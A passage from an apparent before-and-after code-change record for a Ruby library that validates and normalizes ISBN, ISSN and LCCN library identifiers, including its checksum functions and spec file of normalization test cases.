13\n    # and making sure it's valid\n    #\n    # @param [String] rawisbn The ISBN to normalize\n    # @return [String, nil] the normalized (to 13 digit) ISBN, or nil on failure\n    def self.normalize rawisbn\n      isbn = convert_to_13 rawisbn\n      if isbn\n        return isbn\n      else\n        return nil\n      end\n    end\n\n    # To convert to an ISBN13, throw a '978' on the front and\n    # compute the checkdigit\n    # We leave 13-digit numbers alone, figuring they're already ok. NO CHECKSUM CHECK IS DONE FOR 13-DIGIT ISBNS!\n    # and return nil on anything that's not the right length\n    # @param [String] isbn The ISBN (we'll try to clean it up if possible)\n    # @return [String, nil] The converted 13-character ISBN, nil if something looks wrong, or whatever was passed in if it already looked like a 13-digit ISBN\n    def self.convert_to_13 isbn\n      isbn = reduce_to_basics isbn, [10,13]\n      return nil unless isbn\n      return nil unless valid?(isbn, true)\n      return isbn if isbn.size == 13\n      prefix = '978' + isbn[0..8]\n      return prefix + self.checkdigit(prefix + '0', true)\n    end\n\n\n    # Convert to 10 if it's 13 digits and the first three digits are 978.\n    # Pass through anything 10-digits, and return nil for everything else.\n    # @param [String] isbn The ISBN (we'll try to clean it up if possible)\n    # @return [String] The converted 10-character ISBN, nil if something looks wrong, or whatever was passed in if it already looked like a 10-digit ISBN\n    def self.convert_to_10 isbn\n      isbn = reduce_to_basics isbn, [10,13]\n\n      # Already 10 digits? Just return\n      return isbn if isbn.size == 10\n\n      # Can't be converted to ISBN-10? Bail\n      return nil unless isbn[0..2] == '978'\n\n      prefix = isbn[3..11]\n      return prefix + self.checkdigit(prefix + '0')\n    end\n\n    # Return an array of the ISBN13 and ISBN10 (in that order) for the passed in value. You'll\n    # only get one value back if it's a 13-digit\n    # ISBN that can't be converted to an ISBN10.\n    # @param [String] isbn The original ISBN, in 10-character or 13-digit format\n    # @return [Array<String,String>, nil] Either the (one or two) normalized ISBNs, or nil if\n    # it can't be recognized.\n    #\n    # @example Get the normalized values and index them (if valid) or original value (if not)\n    #   norms = StdNum::ISBN.allNormalizedValues(rawisbn)\n    #   doc['isbn'] = norms ? norms : [rawisbn]\n    def self.allNormalizedValues isbn\n      isbn = reduce_to_basics isbn, [10,13]\n      return [] unless isbn\n      case isbn.size\n      when 10\n        return [self.convert_to_13(isbn), isbn]\n      when 13\n        return [isbn, self.convert_to_10(isbn)].compact\n      end\n    end\n\n\n  end\n\n  # Validate and and normalize ISSNs\n  module ISSN\n    extend Helpers\n\n\n    # Does it even look like an ISSN?\n    def self.at_least_trying? issn\n      return !(reduce_to_basics(issn, 8))\n    end\n\n\n    # Compute the checkdigit of an ISSN\n    # @param [String] issn The ISSN (we'll try to clean it up if possible)\n    # @param [Boolean] preprocessed Set to true if the number has already been through reduce_to_basic\n    # @return [String] the one-character checkdigit\n\n    def self.checkdigit issn, preprocessed = false\n      issn = reduce_to_basics issn, 8 unless preprocessed\n      return nil unless issn\n\n      digits = issn[0..6].split(//).map {|i| i.to_i}\n      checkdigit = 0\n      (0..6).each do |i|\n        checkdigit += digits[i] * (8 - i)\n      end\n      checkdigit = checkdigit % 11\n      return '0' if checkdigit == 0\n      checkdigit = 11 - checkdigit\n      return 'X' if checkdigit == 10\n      return checkdigit.to_s\n    end\n\n    # Check to see if the checkdigit is correct\n    # @param [String] issn The ISSN (we'll try to clean it up if possible)\n    # @param [Boolean] preprocessed Set to true if the number has already been through reduce_to_basic\n    # @return [Boolean] Whether or not the checkdigit is correct. Sneakily, return 'nil' for\n    #  values that don't even look like ISBNs, and 'false' for those that look possible but\n    #  don't normalize / have bad checkdigits\n\n    def self.valid? issn, preprocessed = false\n      issn = reduce_to_basics issn, 8 unless preprocessed\n      return nil unless issn\n      return issn[-1..-1] == self.checkdigit(issn, true)\n    end\n\n\n\n    # Make sure it's valid, remove the dashes, uppercase the X, and return\n    # @param [String] rawissn The ISSN to normalize\n    # @return [String, nil] the normalized ISSN, or nil on failure\n    def self.normalize rawissn\n      issn = reduce_to_basics rawissn, 8\n      if issn and valid?(issn, true)\n        return issn\n      else\n        return nil\n      end\n    end\n\n\n\n  end\n\n  # Validate and and normalize LCCNs\n  module LCCN\n\n\n    # Get a string ready for processing as an LCCN\n    # @param [String] str The possible lccn\n    # @return [String] The munged string, ready for normalization\n\n    def self.reduce_to_basic str\n      rv = str.gsub(/\\s/, '')  # ditch spaces\n      rv.gsub!('http://lccn.loc.gov/', '') # remove URI prefix\n      rv.gsub!(/\\/.*$/, '') # ditch everything after the first '/' (including the slash)\n      return rv\n    end\n\n    # Normalize based on data at http://www.loc.gov/marc/lccn-namespace.html#syntax\n    # @param [String] rawlccn The possible LCCN to normalize\n    # @return [String, nil] the normalized LCCN, or nil if it looks malformed\n    def self.normalize rawlccn\n      lccn = reduce_to_basic(rawlccn)\n      # If there's a dash in it, deal with that.\n      if lccn =~ /^(.*?)\\-(.+)/\n        pre =  $1\n        post = $2\n        return nil unless post =~ /^\\d+$/ # must be all digits\n        lccn = \"%s%06d\" % [pre, post.to_i]\n      end\n\n      if valid?(lccn, true)\n        return lccn\n      else\n        return nil\n      end\n    end\n\n    # The rules for validity according to http://www.loc.gov/marc/lccn-namespace.html#syntax:\n    #\n    # A normalized LCCN is a character string eight to twelve characters in length. (For purposes of this description characters are ordered from left to right -- \"first\" means \"leftmost\".)\n    # The rightmost eight characters are always digits.\n    # If the length is 9, then the first character must be alphabetic.\n    # If the length is 10, then the first two characters must be either both digits or both alphabetic.\n    # If the length is 11, then the first character must be alphabetic and the next two characters must be either both digits or both alphabetic.\n    # If the length is 12, then the first two characters must be alphabetic and the remaining characters digits.\n    #\n    # @param [String] lccn The lccn to attempt to validate\n    # @param [Boolean] preprocessed Set to true if the number has already been normalized\n    # @return [Boolean] Whether or not the syntax seems ok\n\n    def self.valid? lccn, preprocessed = false\n      lccn = normalize(lccn) unless preprocessed\n      return false unless lccn\n      clean = lccn.gsub(/\\-/, '')\n      suffix = clean[-8..-1] # \"the rightmost eight characters are always digits\"\n      return false unless suffix and suffix =~ /^\\d+$/\n      case clean.size # \"...is a character string eight to twelve digits in length\"\n      when 8\n        return true\n      when 9\n        return true if clean =~ /^[A-Za-z]/\n      when 10\n        return true if clean =~ /^\\d{2}/ or clean =~ /^[A-Za-z]{2}/\n      when 11\n        return true if clean =~ /^[A-Za-z](\\d{2}|[A-Za-z]{2})/\n      when 12\n        return true if clean =~ /^[A-Za-z]{2}\\d{2}/\n      else\n        return false\n      end\n\n      return false\n    end\n\n  end\n\nend\n\n", "spec/library_stdnums_spec.rb": "require 'spec_helper'\n\ndescribe \"Extract\" do\n  it \"should leave a number alone\" do\n    StdNum::ISBN.extractNumber('1234567').must_equal '1234567'\n  end\n\n  it \"should skip leading and trailing crap\" do\n    StdNum::ISBN.extractNumber(' 1234567 (online)').must_equal '1234567'\n  end\n\n  it \"should allow hyphens\" do\n    StdNum::ISBN.extractNumber(' 1-234-5').must_equal '12345'\n  end\n\n  it \"should return nil on a non-match\" do\n    StdNum::ISBN.extractNumber('bill dueber').must_equal nil\n  end\n\n  it \"should allow a trailing X\" do\n    StdNum::ISBN.extractNumber('1-234-5-X').must_equal '12345X'\n  end\n\n  it \"should upcase any trailing X\" do\n    StdNum::ISBN.extractNumber('1-234-56-x').must_equal '123456X'\n  end\n\n  it \"only allows a single trailing X\" do\n    StdNum::ISBN.extractNumber('123456-X-X').must_equal '123456X'\n  end\n\n  it \"doesn't allow numbers that are too short\" do\n    StdNum::ISBN.extractNumber('12345').must_equal nil\n  end\n\n  let(:identifiers_string) { '9780987115423 (print ed) 9780987115430 (web ed)' }\n  it \"will extract multiple identifiers\" do\n    StdNum::ISBN.extract_multiple_numbers(identifiers_string).must_be_kind_of Array\n    StdNum::ISBN.extract_multiple_numbers(identifiers_string).count.must_equal 2\n    StdNum::ISBN.extract_multiple_numbers(identifiers_string)[0].must_equal '9780987115423'\n    StdNum::ISBN.extract_multiple_numbers(identifiers_string)[1].must_equal '9780987115430'\n  end\n\n  let(:string_with_no_identifiers) { 'This has no identifiers' }\n  it \"will return an empty array when no identifiers are in the supplied string \" do\n    StdNum::ISBN.extract_multiple_numbers(string_with_no_identifiers).must_be_kind_of Array\n    StdNum::ISBN.extract_multiple_numbers(string_with_no_identifiers).count.must_equal 0\n\n    StdNum::ISBN.extract_multiple_numbers('').must_be_kind_of Array\n    StdNum::ISBN.extract_multiple_numbers('').count.must_equal 0\n  end\n  it \"skips over short prefixing numbers\" do\n    StdNum::ISBN.extractNumber('ISBN13: 1234567890123').must_equal '1234567890123'\n  end\n\nend\n\n\ndescribe \"ISBN\" do\n  it \"computes 10-digit checksum\" do\n    StdNum::ISBN.checkdigit('0-306-40615-X').must_equal '2'\n  end\n\n  it \"correctly uses X for checksum\" do\n    StdNum::ISBN.checkdigit('061871460X').must_equal 'X'\n  end\n\n  it \"finds a zero checkdigit\" do\n    StdNum::ISBN.checkdigit('0139381430').must_equal '0'\n  end\n\n  it \"computes 13-digit checksum\" do\n    StdNum::ISBN.checkdigit('9780306406157').must_equal '7'\n  end\n\n  it \"computes a 13-digit checksum that is 0\" do\n    StdNum::ISBN.checkdigit('9783837612950').must_equal '0'\n  end\n\n  it \"finds a good number valid\" do\n    StdNum::ISBN.valid?('9780306406157').must_equal true\n  end\n\n  it \"says a good number is trying\" do\n    StdNum::ISBN.at_least_trying?('9780306406157').must_equal true\n  end\n\n  it \"says bad data is not trying\" do\n    StdNum::ISBN.at_least_trying?('978006406157').must_equal false\n    StdNum::ISBN.at_least_trying?('406157').must_equal false\n    StdNum::ISBN.at_least_trying?('$22').must_equal false\n    StdNum::ISBN.at_least_trying?('hello').must_equal false\n  end\n\n\n  it \"finds a bad number invalid\" do\n    StdNum::ISBN.valid?('9780306406154').must_equal false\n  end\n\n  it \"returns nil when computing checksum for bad ISBN\" do\n    StdNum::ISBN.checkdigit('12345').must_equal nil\n  end\n\n  it \"converts 10 to 13\" do\n    StdNum::ISBN.convert_to_13('0-306-40615-2').must_equal '9780306406157'\n  end\n\n  it \"passes through 13 digit number instead of converting to 13\" do\n    StdNum::ISBN.convert_to_13('9780306406157').must_equal '9780306406157'\n  end\n\n  it \"converts 13 to 10\" do\n    StdNum::ISBN.convert_to_10('978-0-306-40615-7').must_equal '0306406152'\n  end\n\n  it \"normalizes\" do\n    StdNum::ISBN.normalize('0-306-40615-2').must_equal '9780306406157'\n    StdNum::ISBN.normalize('0-306-40615-X').must_equal nil\n    StdNum::ISBN.normalize('ISBN: 978-0-306-40615-7').must_equal '9780306406157'\n    StdNum::ISBN.normalize('ISBN: 978-0-306-40615-3').must_equal nil\n  end\n\n  it \"gets both normalized values\" do\n    a = StdNum::ISBN.allNormalizedValues('978-0-306-40615-7')\n    a.sort.must_equal ['9780306406157', '0306406152' ].sort\n\n    a = StdNum::ISBN.allNormalizedValues('0-306-40615-2')\n    a.sort.must_equal ['9780306406157', '0306406152' ].sort\n  end\n\n\n\nend\n\n\n\ndescribe 'ISSN' do\n  it \"computes checksum\" do\n    StdNum::ISSN.checkdigit('0378-5955').must_equal '5'\n  end\n\n  it \"normalizes\" do\n    StdNum::ISSN.normalize('0378-5955').must_equal '03785955'\n  end\nend\n\n\ndescribe 'LCCN basics' do\n\n  # Tests take from http://www.loc.gov/marc/lccn-namespace.html#syntax\n  test = {\n    \"n78-890351\" => \"n78890351\",\n    \"n78-89035\" => \"n78089035\",\n    \"n 78890351 \" => \"n78890351\",\n    \" 85000002 \" => \"85000002\",\n    \"85-2 \" => \"85000002\",\n    \"2001-000002\" => \"2001000002\",\n    \"75-425165//r75\" => \"75425165\",\n    \" 79139101 /AC/r932\" => \"79139101\",\n  }\n\n  test.each do |k, v|\n    it \"normalizes #{k}\" do\n      StdNum::LCCN.normalize(k.dup).must_equal v\n    end\n  end\n\n  it \"validates correctly\" do\n    StdNum::LCCN.valid?(\"n78-890351\").must_equal true\n    StdNum::LCCN.valid?(\"n78-89035100444\").must_equal false, \"Too long\"\n    StdNum::LCCN.valid?(\"n78\").must_equal false, \"Too short\"\n    StdNum::LCCN.valid?(\"na078-890351\").must_equal false, \"naa78-890351 should start with three letters or digits\"\n    StdNum::LCCN.valid?(\"n078-890351\").must_equal false, \"n078-890351 should start with two letters or two digits\"\n    StdNum::LCCN.valid?(\"na078-890351\").must_equal false, \"na078-890351 should start with three letters or digits\"\n    StdNum::LCCN.valid?(\"0an78-890351\").must_equal false, \"0an78-890351 should start with three letters or digits\"\n    StdNum::LCCN.valid?(\"n78-89c0351\").must_equal false, \"n78-89c0351 has a letter after the dash\"\n  end\n\n\nend\n\n\ndescribe \"LCCN tests from Business::LCCN perl module\" do\n  tests = [\n    {  :orig => 'n78-890351',\n                 :canonical => 'n  78890351 ',\n                 :normalized => 'n78890351',\n                 :prefix => 'n',\n                 :year_cataloged => 1978,\n                 :serial => '890351',\n              },\n              {  :orig => 'n 78890351 ',\n                 :canonical => 'n  78890351 ',\n                 :normalized => 'n78890351',\n                 :prefix => 'n',\n                 :year_cataloged => 1978,\n                 :serial => '890351',\n              },\n              {  :orig => ' 85000002 ',\n                 :canonical => '   85000002 ',\n                 :normalized => '85000002',\n                 :year_cataloged => 1985,\n                 :serial => '000002',\n              },\n              {  :orig => '85-2 ',\n                 :canonical => '   85000002 ',\n                 :normalized => '85000002',\n                 :year_cataloged => 1985,\n                 :serial => '000002',\n              },\n              {  :orig => '2001-000002',\n                 :canonical => '  2001000002',\n                 :normalized => '2001000002',\n                 :year_cataloged => 2001,\n                 :serial => '000002',\n              },\n              {  :orig => '75-425165//r75',\n                 :canonical => '   75425165 //r75',\n                 :normalized => '75425165',\n                 :prefix => '',\n                 :year_cataloged => nil,\n                 :serial => '425165',\n                 :revision_year => 1975,\n                 :revision_year_encoded => '75',\n                 :revision_number => nil,\n              },\n              {  :orig => ' 79139101 /AC/r932',\n                 :canonical => '   79139101 /AC/r932',\n                 :normalized => '79139101',\n                 :prefix => '',\n                 :year_cataloged => nil,\n                 :serial => '139101',\n                 :suffix_encoded => '/AC',\n                 :revision_year => 1993,\n                 :revision_year_encoded => '93',\n                 :revision_number => 2,\n              },\n              {  :orig => '89-4',\n                 :canonical => '   89000004 ',\n                 :normalized => '89000004',\n                 :year_cataloged => 1989,\n                 :serial => '000004',\n              },\n              {  :orig => '89-45',\n                 :canonical => '   89000045 ',\n                 :normalized => '89000045',\n                 :year_cataloged => 1989,\n                 :serial => '000045',\n              },\n              {  :orig => '89-456',\n                 :canonical => '   89000456 ',\n                 :normalized => '89000456',\n                 :year_cataloged => 1989,\n                 :serial => '000456',\n              },\n              {  :orig => '89-1234',\n                 :canonical => '   89001234 ',\n                 :normalized => '89001234',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => '89-001234',\n                 :canonical => '   89001234 ',\n                 :normalized => '89001234',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => '89001234',\n                 :canonical => '   89001234 ',\n                 :normalized => '89001234',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => '2002-1234',\n                 :canonical => '  2002001234',\n                 :normalized => '2002001234',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => '2002-001234',\n                 :canonical => '  2002001234',\n                 :normalized => '2002001234',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => '2002001234',\n                 :canonical => '  2002001234',\n                 :normalized => '2002001234',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => '   89001234 ',\n                 :canonical => '   89001234 ',\n                 :normalized => '89001234',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => '  2002001234',\n                 :canonical => '  2002001234',\n                 :normalized => '2002001234',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'a89-1234',\n                 :canonical => 'a  89001234 ',\n                 :normalized => 'a89001234',\n                 :prefix => 'a',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'a89-001234',\n                 :canonical => 'a  89001234 ',\n                 :normalized => 'a89001234',\n                 :prefix => 'a',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'a89001234',\n                 :canonical => 'a  89001234 ',\n                 :normalized => 'a89001234',\n                 :prefix => 'a',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'a2002-1234',\n                 :canonical => 'a 2002001234',\n                 :normalized => 'a2002001234',\n                 :prefix => 'a',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'a2002-001234',\n                 :canonical => 'a 2002001234',\n                 :normalized => 'a2002001234',\n                 :prefix => 'a',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'a2002001234',\n                 :canonical => 'a 2002001234',\n                 :normalized => 'a2002001234',\n                 :prefix => 'a',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'a 89001234 ',\n                 :canonical => 'a  89001234 ',\n                 :normalized => 'a89001234',\n                 :prefix => 'a',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'a 89-001234 ',\n                 :canonical => 'a  89001234 ',\n                 :normalized => 'a89001234',\n                 :prefix => 'a',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'a 2002001234',\n                 :canonical => 'a 2002001234',\n                 :normalized => 'a2002001234',\n                 :prefix => 'a',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'ab89-1234',\n                 :canonical => 'ab 89001234 ',\n                 :normalized => 'ab89001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'ab89-001234',\n                 :canonical => 'ab 89001234 ',\n                 :normalized => 'ab89001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'ab89001234',\n                 :canonical => 'ab 89001234 ',\n                 :normalized => 'ab89001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'ab2002-1234',\n                 :canonical => 'ab2002001234',\n                 :normalized => 'ab2002001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'ab2002-001234',\n                 :canonical => 'ab2002001234',\n                 :normalized => 'ab2002001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'ab2002001234',\n                 :canonical => 'ab2002001234',\n                 :normalized => 'ab2002001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'ab 89001234 ',\n                 :canonical => 'ab 89001234 ',\n                 :normalized => 'ab89001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'ab 2002001234',\n                 :canonical => 'ab2002001234',\n                 :normalized => 'ab2002001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'ab 89-1234',\n                 :canonical => 'ab 89001234 ',\n                 :normalized => 'ab89001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'abc89-1234',\n                 :canonical => 'abc89001234 ',\n                 :normalized => 'abc89001234',\n                 :prefix => 'abc',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'abc89-001234',\n                 :canonical => 'abc89001234 ',\n                 :normalized => 'abc89001234',\n                 :prefix => 'abc',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'abc89001234',\n                 :canonical => 'abc89001234 ',\n                 :normalized => 'abc89001234',\n                 :prefix => 'abc',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'abc89001234 ',\n                 :canonical => 'abc89001234 ',\n                 :normalized => 'abc89001234',\n                 :prefix => 'abc',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'http://lccn.loc.gov/89001234',\n                 :canonical => '   89001234 ',\n                 :normalized => '89001234',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'http://lccn.loc.gov/a89001234',\n                 :canonical => 'a  89001234 ',\n                 :normalized => 'a89001234',\n                 :serial => '001234',\n                 :prefix => 'a',\n                 :year_cataloged => 1989,\n              },\n              {  :orig => 'http://lccn.loc.gov/ab89001234',\n                 :canonical => 'ab 89001234 ',\n                 :normalized => 'ab89001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'http://lccn.loc.gov/abc89001234',\n                 :canonical => 'abc89001234 ',\n                 :normalized => 'abc89001234',\n                 :prefix => 'abc',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'http://lccn.loc.gov/2002001234',\n                 :canonical => '  2002001234',\n                 :normalized => '2002001234',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'http://lccn.loc.gov/a2002001234',\n                 :canonical => 'a 2002001234',\n                 :normalized => 'a2002001234',\n                 :prefix => 'a',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'http://lccn.loc.gov/ab2002001234',\n                 :canonical => 'ab2002001234',\n                 :normalized => 'ab2002001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => '00-21595',\n                 :canonical => '   00021595 ',\n                 :normalized => '00021595',\n                 :year_cataloged => 2000,\n                 :serial => '021595',\n              },\n              {  :orig => '2001001599',\n                 :canonical => '  2001001599',\n                 :normalized => '2001001599',\n                 :year_cataloged => 2001,\n                 :serial => '001599',\n              },\n              {  :orig => '99-18233',\n                 :canonical => '   99018233 ',\n                 :normalized => '99018233',\n                 :year_cataloged => 1999,\n                 :serial => '018233',\n              },\n              {  :orig => '98000595',\n                 :canonical => '   98000595 ',\n                 :normalized => '98000595',\n                 :year_cataloged => 1898,\n                 :serial => '000595',\n              },\n              {  :orig => '99005074',\n                 :canonical => '   99005074 ',\n                 :normalized => '99005074',\n                 :year_cataloged => 1899,\n                 :serial => '005074',\n              },\n              {  :orig => '00003373',\n                 :canonical => '   00003373 ',\n                 :normalized => '00003373',\n                 :year_cataloged => 1900,\n                 :serial => '003373',\n              },\n              {  :orig => '01001599',\n                 :canonical => '   01001599 ',\n                 :normalized => '01001599',\n                 :year_cataloged => 1901,\n                 :serial => '001599',\n              },\n              {  :orig => '   95156543 ',\n                 :canonical => '   95156543 ',\n                 :normalized => '95156543',\n                 :year_cataloged => 1995,\n                 :serial => '156543',\n              },\n              {  :orig => '   94014580 /AC/r95',\n                 :canonical => '   94014580 /AC/r95',\n                 :normalized => '94014580',\n                 :year_cataloged => 1994,\n                 :serial => '014580',\n                 :suffix_encoded => '/AC',\n                 :revision_year_encoded => '95',\n                 :revision_year => 1995,\n              },\n              {  :orig => '   79310919 //r86',\n                 :canonical => '   79310919 //r86',\n                 :normalized => '79310919',\n                 :year_cataloged => 1979,\n                 :serial => '310919',\n                 :revision_year_encoded => '86',\n                 :revision_year => 1986,\n              },\n              {  :orig => 'gm 71005810  ',\n                 :canonical => 'gm 71005810 ',\n                 :normalized => 'gm71005810',\n                 :prefix => 'gm',\n                 :year_cataloged => 1971,\n                 :serial => '005810',\n              },\n              {  :orig => 'sn2006058112  ',\n                 :canonical => 'sn2006058112',\n                 :normalized => 'sn2006058112',\n                 :prefix => 'sn',\n                 :year_cataloged => 2006,\n                 :serial => '058112',\n              },\n              {  :orig => 'gm 71-2450',\n                 :canonical => 'gm 71002450 ',\n                 :normalized => 'gm71002450',\n                 :prefix => 'gm',\n                 :year_cataloged => 1971,\n                 :serial => '002450',\n              },\n              {  :orig => '2001-1114',\n                 :canonical => '  2001001114',\n                 :normalized => '2001001114',\n                 :year_cataloged => 2001,\n                 :serial => '001114',\n              },\n  ]\n  tests.each do |h|\n    it \"normalizes #{h[:orig]}\" do\n      StdNum::LCCN.normalize(h[:orig]).must_equal h[:normalized], \"#{h[:orig]} doesn't normalize to #{h[:normalized]}\"\n    end\n  end\nend\n\n"}, "files_after": {"lib/library_stdnums.rb": "# Static Module functions to work with library \"standard numbers\" ISSN, ISBN, and LCCN\nmodule StdNum\n\n  # Helper methods common to ISBN/ISSN\n  module Helpers\n\n    # The pattern we use to try and find an ISBN/ISSN. Ditch everthing before the first\n    # digit, then take all the digits/hyphens, optionally followed by an 'X'\n    # Since the shortest possible string is 7 digits followed by a checksum digit\n    # for an ISSN, we'll make sure they're at least that long. Still imperfect\n    # (would fine \"5------\", for example) but should work in most cases.\n    STDNUMPAT = /^.*?(\\d[\\d\\-]{6,}[xX]?)/\n\n    # Extract the most likely looking number from the string. This will be the first\n    # string of digits-and-hyphens-and-maybe-a-trailing-X, with the hypens removed\n    # @param [String] str The string from which to extract an ISBN/ISSN\n    # @return [String] The extracted identifier\n    def extractNumber str\n      match = STDNUMPAT.match str\n      return nil unless match\n      return (match[1].gsub(/\\-/, '')).upcase\n    end\n\n    # Same as STDNUMPAT but allowing for all numbers in the provided string\n    STDNUMPAT_MULTIPLE = /.*?(\\d[\\d\\-]{6,}[xX]?)/\n\n    # Extract the most likely looking numbers from the string. This will be each\n    # string with digits-and-hyphens-and-maybe-a-trailing-X, with the hypens removed\n    # @param [String] str The string from which to extract the ISBN/ISSNs\n    # @return [Array] An array of extracted identifiers\n    def extract_multiple_numbers(str)\n      return [] if str == '' || str.nil?\n      str.scan(STDNUMPAT_MULTIPLE).flatten.map{ |i| i.gsub(/\\-/, '').upcase }\n    end\n\n    # Given any string, extract what looks like the most likely ISBN/ISSN\n    # of the given size(s), or nil if nothing matches at the correct size.\n    # @param [String] rawnum The raw string containing (hopefully) an ISSN/ISBN\n    # @param [Integer, Array<Integer>, nil] valid_sizes An integer or array of integers of valid sizes\n    # for this type (e.g., 10 or 13 for ISBN, 8 for ISSN)\n    # @return [String,nil] the reduced and verified number, or nil if there's no match at the right size\n    def reduce_to_basics rawnum, valid_sizes = nil\n      return nil if rawnum.nil?\n\n      num = extractNumber rawnum\n\n      # Does it even look like a number?\n      return nil unless num\n\n      # Return what we've got if we don't care about the size\n      return num unless valid_sizes\n\n      # Check for valid size(s)\n      [valid_sizes].flatten.each do |s|\n        return num if num.size == s\n      end\n\n      # Didn't check out size-wise. Return nil\n      return nil\n    end\n  end\n\n  # Validate, convert, and normalize ISBNs (10-digit or 13-digit)\n  module ISBN\n    extend Helpers\n\n    # Does it even look like an ISBN?\n    def self.at_least_trying? isbn\n      reduce_to_basics(isbn, [10,13]) ? true : false\n    end\n\n\n    # Compute check digits for 10 or 13-digit ISBNs. See algorithm at\n    # http://en.wikipedia.org/wiki/International_Standard_Book_Number\n    # @param [String] isbn The ISBN (we'll try to clean it up if possible)\n    # @param [Boolean] preprocessed Set to true if the ISBN has already been through reduce_to_basics\n    # @return [String,nil] the one-character checkdigit, or nil if it's not an ISBN string\n    def self.checkdigit isbn, preprocessed = false\n      isbn = reduce_to_basics isbn, [10,13] unless preprocessed\n      return nil unless isbn\n\n      checkdigit = 0\n      if isbn.size == 10\n        digits = isbn[0..8].split(//).map {|i| i.to_i}\n        (1..9).each do |i|\n          checkdigit += digits[i-1] * i\n        end\n        checkdigit = checkdigit % 11\n        return 'X' if checkdigit == 10\n        return checkdigit.to_s\n      else # size == 13\n        checkdigit = 0\n        digits = isbn[0..11].split(//).map {|i| i.to_i}\n        6.times do\n          checkdigit += digits.shift\n          checkdigit += digits.shift * 3\n        end\n        check = 10 - (checkdigit % 10)\n        check = 0 if check == 10\n        return check.to_s\n      end\n    end\n\n    # Check to see if the checkdigit is correct\n    # @param [String] isbn The ISBN (we'll try to clean it up if possible)\n    # @param [Boolean] preprocessed Set to true if the ISBN has already been through reduce_to_basics\n    # @return [Boolean] Whether or not the checkdigit is correct. Sneakily, return 'nil' for\n    #  values that don't even look like ISBNs, and 'false' for those that look possible but\n    #  don't normalize / have bad checkdigits\n    def self.valid? isbn, preprocessed = false\n      return nil if isbn.nil?\n      isbn = reduce_to_basics(isbn, [10,13]) unless preprocessed\n      return nil unless isbn\n      return false unless isbn[-1..-1] == self.checkdigit(isbn, true)\n      return false unless isbn.size == 10 || valid_isbn13_prefix?(isbn)\n      return true\n    end\n\n\n    # For an ISBN, normalizing it is the same as converting to ISBN 13\n    # and making sure it's valid\n    #\n    # @param [String] rawisbn The ISBN to normalize\n    # @return [String, nil] the normalized (to 13 digit) ISBN, or nil on failure\n    def self.normalize rawisbn\n      isbn = convert_to_13 rawisbn\n      if isbn\n        return isbn\n      else\n        return nil\n      end\n    end\n\n    # To convert to an ISBN13, throw a '978' on the front and\n    # compute the checkdigit\n    # We leave 13-digit numbers alone, figuring they're already ok. NO CHECKSUM CHECK IS DONE FOR 13-DIGIT ISBNS!\n    # and return nil on anything that's not the right length\n    # @param [String] isbn The ISBN (we'll try to clean it up if possible)\n    # @return [String, nil] The converted 13-character ISBN, nil if something looks wrong, or whatever was passed in if it already looked like a 13-digit ISBN\n    def self.convert_to_13 isbn\n      isbn = reduce_to_basics isbn, [10,13]\n      return nil unless isbn\n      return nil unless valid?(isbn, true)\n      return isbn if isbn.size == 13\n      prefix = '978' + isbn[0..8]\n      return prefix + self.checkdigit(prefix + '0', true)\n    end\n\n\n    # Convert to 10 if it's 13 digits and the first three digits are 978.\n    # Pass through anything 10-digits, and return nil for everything else.\n    # @param [String] isbn The ISBN (we'll try to clean it up if possible)\n    # @return [String] The converted 10-character ISBN, nil if something looks wrong, or whatever was passed in if it already looked like a 10-digit ISBN\n    def 